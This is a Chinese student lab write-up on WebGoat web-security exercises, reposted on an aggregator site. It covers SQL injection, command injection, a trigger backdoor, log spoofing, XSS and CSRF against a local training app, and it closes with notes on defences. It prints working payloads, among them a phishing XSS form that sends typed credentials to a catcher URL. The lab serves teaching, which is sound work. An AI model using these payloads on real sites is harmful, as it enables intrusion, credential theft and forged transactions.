2019-2020 网络对抗技术 20175207 Exp9 Web安全基础

Posted 20175207冷南

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020 网络对抗技术 20175207 Exp9 Web安全基础相关的知识,希望对你有一定的参考价值。

目录


实验步骤

  • 实验系统:Kali Linux
  • 浏览器:Chorme

JDK1.8 & WebGoat

  • JDK1.8WebGoat需要Java SE8的支持
  1. jdk-8u251-linux-x64.tar.gz下载地址:https://www.oracle.com/java/technologies/javase-jdk8-downloads.html
  2. 配置参考:Kali-JDK1-8安装
  3. 确认安装完成:java -version
  • WebGoat
  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。
  1. webgoat-container-7.0.1-war-exec.jar下载地址:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
  2. 运行:java -jar webgoat-container-7.0.1-war-exec.jar
    注意:要在webgoat-container-7.0.1-war-exec.jar文件夹下
  3. 在浏览器中输入http:.//localhost:8080/WebGoat进入登陆界面,输入下方提示的用户名和密码登录

    4。 登陆成功

SQL

  • SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的攻击

Command Injection

左侧功能栏中选中:Injection Flaws—>Command Injection

  • 原理:在正常的参数提交过程中添加恶意代码以执行某条指令
  • 操作:在操作页面,右键→检查→修改源代码
  1. 单击复选框按钮快速找到对应的代码
  2. 定位到下拉框
  3. 修改对应代码:AccessControlMatrix.helpAccessControlMatrix.help"& netstat -an & ipconfig"
  4. 点击View

  1. 点击View后可以看到网络端口使用情况和IP地址

Numeric SQL Injection

左侧功能栏中选中:Injection Flaws—>Numeric SQL Injection

  • 原理:在station 字段中注入特征字符,能组合成新的SQL 语句:SELECT * FROM weather_data WHERE station = [station]
  • 操作:在操作页面,右键→检查→修改源代码
  1. 单击复选框按钮快速找到对应的代码
  2. 定位到下拉框
  3. 修改对应代码:value="101"value="101 or 1=1"
  4. 点击Go

Log Spoofing

  • 目的:用户名为admin的用户在日志中显示成功登录
  • 原理:利用回车0D%和换行符%0A让内容在日志中两行显示
  • 操作:
  1. User Name中填入:ln5207%0d%0aLogin Succeeded for username: admin
  2. Password中随便填
  3. 点击Login

String SQL Injection

  • 原理:通过注入字符串绕过验证。
  • 操作:
  1. Enter your last name:中填入:\'or 1=1--
    注意:\'提前闭合""1=1是永真式,--注释掉后面内容
  2. 点击Go

LAB:SQL Injection

stage1:String SQL Injection

  • 目的:使用SQL注入绕过认证
  • 操作:在操作页面,右键→检查→修改源代码
  1. 单击复选框按钮快速找到对应的代码
  2. 定位到Password输入框
  3. 修改对应代码:maxlength="8"maxlength="18"
  4. 点击Login

  1. 登录人员的下拉框选择admin身份的用户,Password输入:hello\' or \'1\' = \'1
  2. 成功登录

stage 3:Numeric SQL Injection

  • 原理:通过注入数字型数据,绕过认证
  • 目的:可以通过普通员工的账户,查看到其他用户信息。
  • 操作:
  1. 使用员工Larry,密码larry登录,点击ViewProfile查看用户信息

  1. 单击复选框按钮快速找到对应的代码
  2. 定位到下拉框
  3. 修改对应代码:value="101"value="101 or 1=1 order by salary desc"

  1. 点击ViewProfile,查询到的是薪资最高的人员信息

Database Backdoors

  • 原理:创建数据库触发器
  • 操作:
  1. User ID输入:101,回车,查看信息

  1. User ID输入:101; update employee set salary=18000,回车,执行了两个语句,查看信息,Salary变为18000

  1. User ID输入:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=\'ln5207@besti.com\'WHERE userid = NEW.userid,回车,查看信息

  • BEFORE/AFTER :指定了触发执行的时间,在事件之前或是之后。
  • FOR EACH ROW :表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
  • 之后当用户更新设置邮箱时,就会设置成攻击者的地址

Blind Numeric SQL Injection

  • 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必需充分利用查询语句,构造子查询语。
  • 操作:
  1. Enter your Account number输入:101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 5000 );
    Invalid account number表示得到结果为无效,故而判断pin值是小于5000的。

  1. 使用二分法缩小范围不断查找,>2500(✗),>1250(✓),>1875(✓),>2187(✓)……
  2. 输入101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') = 2364 );
    Account number is valid表示得到结果有效,成功找到正确pin值

字符串型盲注入与此类似,不再赘述

XSS

左侧功能栏中选中:Cross-Site Scriptig(XSS)→Pushing with XSS

Pushing with XSS

  • 目的:创建一个form要求填写用户名和密码
  • 操作:
  1. Search中输入如下代码:
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  1. 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

Stored XSS Attacks

  • 原理:输入javascript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行
  • 操作:
  1. Title中输入任意内容
  2. Message中输入:
  3. 点击Submit

  1. 点击下方生成的链接,出现弹窗

Reflected XSS Attacks

  • 原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
  • 操作:
  1. Enter your three digit access code:<script>alert("Warning!");</script>
  2. 点击Submit

CSRF

Cross Site Request Forgery(CSRF)

  • 目的:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求
  • 操作
  1. 查看右边栏Parametersscrmenu的值


2. Title中随意输入
3. Message中输入:<img src="http://localhost:8080/WebGoat/attack?Screen=313&menu=900&transferFunds=5000" width="1" height="1" />
注意修改Screen和menu的值
4. 点击Submit

CSRF Prompt By-Pass

  • 操作:
  1. 查看右边栏Parametersscrmenu的值


2. Title中随意输入
3. Message中输入:

<iframe src="attack?Screen=277&menu=900&transferFunds=5314"> </iframe>
<iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
  1. 点击Submit生成以Title命名的链接,点击链接攻击成功

问题回答

  1. SQL注入攻击原理,如何防御
  • 原理:
    • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
  • 防御:
    • 对用户输入进行校验/限制--可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
    • 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
    • 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
    • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
    • 采取辅助软件或网站平台来检测
  1. XSS攻击的原理,如何防御
  • 原理:
    • 跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意javaScript代码,当用户浏览该页之时,嵌入其中Web里面的javaScript代码会被执行,从而达到恶意攻击用户的目的。
  • 防御:
    • html节点内容的防御--将用户输入的内容进行转义
    • HTML属性的防御--对空格,单引号,双引号进行转义
    • JavaScript的防御--对引号进行转义
    • 富文本的防御--通过黑名单和白名单过滤
    • 内容安全策略(Content Security Policy,简称CSP)
  1. CSRF攻击原理,如何防御
  • 原理:
    • (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
  • 防御:
    • 验证 HTTP Referer 字段
    • 在请求地址中添加 token 并验证
    • 在 HTTP 头中自定义属性并验证

总结

最后一次实验,虽然总体难度不大,但涉及到了许多内容。最大的收获是对SQL语句更加熟练,学习了WebGoat工具的使用,了解了更多的攻击和防御相关知识,提高了防范意识,也对自己设计的一些程序多了一种安全审视的角度。

以上是关于2019-2020 网络对抗技术 20175207 Exp9 Web安全基础的主要内容,如果未能解决你的问题,请参考以下文章

2019-2020 网络对抗技术 20175207 Exp4 恶意代码分析

2019-2020-2 20175216 《网络对抗技术》Exp7 网络欺诈防范

2019-2020-2 20175216 《网络对抗技术》Exp7 网络欺诈防范

2019-2020-2 网络对抗技术 20175208 Exp7 网络欺诈防范

2019-2020-2 网络对抗技术 20175208 Exp7 网络欺诈防范

2019-2020-2 网络对抗技术 20175214 Exp7 网络欺诈防范